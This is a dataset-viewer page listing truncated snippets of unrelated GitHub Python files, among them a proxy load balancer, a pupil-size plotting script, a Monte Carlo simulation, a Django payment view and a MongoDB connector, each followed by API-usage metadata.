Created on Thu May 24 23:37:57 2018
@author: pt
"""
for i in range(1,10) :
print(str(i) + '\r')
from IPython.display import clear_output
for f in range(10):
clear_output(wait=True)
print(f)
time.sleep(.1)
import sys
import time
... | thegreatskywalker/my_deep_learning | untitled3.py | untitled3.py | py | 466 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "IPython.display.clear_output",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "sys.stdout.write",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "sys.stdout",
"line_number": 28,
"usage_type": "attribute"
},
{
"api_name": "sys.std... |
41676958983 | import time
import asyncio
import logging
from config import CONFIG
from proxy import get_proxy
from errors import (
BadStatusLine, BadResponseError, ErrorOnStream,
NoProxyError, ProxyRecvError, ProxyTimeoutError)
from utils import parse_headers, parse_status_line
logger = logging.getLogger(__name__)
request_l... | ScraperX/proxy-load-balancer | server.py | server.py | py | 9,751 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "logging.getLogger",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "logging.getLogger",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "asyncio.get_event_loop",
"line_number": 30,
"usage_type": "call"
},
{
"api_name": "asyncio.st... |
3314836701 | # -*- coding: utf-8 -*-
"""
===============================================================================
Script 'fig-pupil-voc'
===============================================================================
This script plots pupil size & significance tests for the vocoder experiment.
"""
# @author: Dan McCloy (drm... | LABSN-pubs/2017-JASA-pupil-attn-switch | figures/fig-pupil-voc.py | fig-pupil-voc.py | py | 14,529 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "matplotlib.pyplot.ioff",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 26,
"usage_type": "name"
},
{
"api_name": "convenience_functions.use_font",
"line_number": 27,
"usage_type": "call"
},
{
"api_name"... |
71534618024 | #!/usr/bin/python3
# -*- coding: utf-8 -*-
import matplotlib.pyplot as plt
from random import *
import math
def get_random_coordinates():
return random(), random()
def draw_circle():
center = (0, 0)
radius = 1
circle = plt.Circle(center, radius, fill=False, ec='b')
a = plt.axes(xlim=(-1.2, 1.... | Dry8r3aD/monteCarloSimulation | run.py | run.py | py | 912 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "matplotlib.pyplot.Circle",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 17,
"usage_type": "name"
},
{
"api_name": "matplotlib.pyplot.axes",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "mat... |
6663058248 | import os
from datetime import datetime
from univention.lib.i18n import Translation
from univention.management.console.config import ucr
from univention.management.console.modules import Base, UMC_OptionTypeError, UMC_OptionMissing, UMC_CommandError
from univention.management.console.log import MODULE
from univention... | m-narayan/smart | ucs/virtualization/univention-virtual-machine-manager-daemon/umc/python/uvmm/snapshots.py | snapshots.py | py | 3,398 | python | en | code | 9 | github-code | 36 | [
{
"api_name": "univention.lib.i18n.Translation",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "urlparse.urldefrag",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "datetime.datetime.fromtimestamp",
"line_number": 41,
"usage_type": "call"
},
{
... |
36815991792 | from decouple import config
from django.contrib import messages
from django.http import HttpResponse, HttpResponseRedirect, Http404
from django.shortcuts import redirect, render, get_object_or_404
from zeep import Client
from extensions.utils import send_message_api
from home.models import Setting
from order.models im... | amirmovafagh/ecommerce-project-django | payment/views.py | views.py | py | 5,014 | python | fa | code | 0 | github-code | 36 | [
{
"api_name": "decouple.config",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "zeep.Client",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "order.models",
"line_number": 28,
"usage_type": "name"
},
{
"api_name": "django.shortcuts.get_object_... |
18507806058 | """This module store everything connected to a sigular mesh"""
import struct
from typing import BinaryIO
from .offsetstable import OffsetsTable
from .filehelper import FileHelper
class Mesh: # 1_83:
"""A singular mesh"""
# pylint: disable=too-many-instance-attributes,too-many-arguments,too-many-locals
... | stuntkit/stunt_gp_blender | io_scene_pmd/stunt_gp_model/mesh.py | mesh.py | py | 4,722 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "typing.BinaryIO",
"line_number": 69,
"usage_type": "name"
},
{
"api_name": "offsetstable.OffsetsTable",
"line_number": 70,
"usage_type": "name"
},
{
"api_name": "filehelper.FileHelper.read_ushort",
"line_number": 77,
"usage_type": "call"
},
{
"api_n... |
624223444 | from pymongo import MongoClient
from dotenv import dotenv_values
import urllib.parse
config = dotenv_values(".env")
mongodb_client = MongoClient(config["ATLAS_URI"])
mongo_database = mongodb_client[config["DB_NAME"]]
print(f">>>> Connected to the {config['DB_NAME']} database!")
items_collection = mongo_database[co... | ahmeds26/Evas-Task | server/database.py | database.py | py | 1,628 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "dotenv.dotenv_values",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "pymongo.MongoClient",
"line_number": 10,
"usage_type": "call"
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.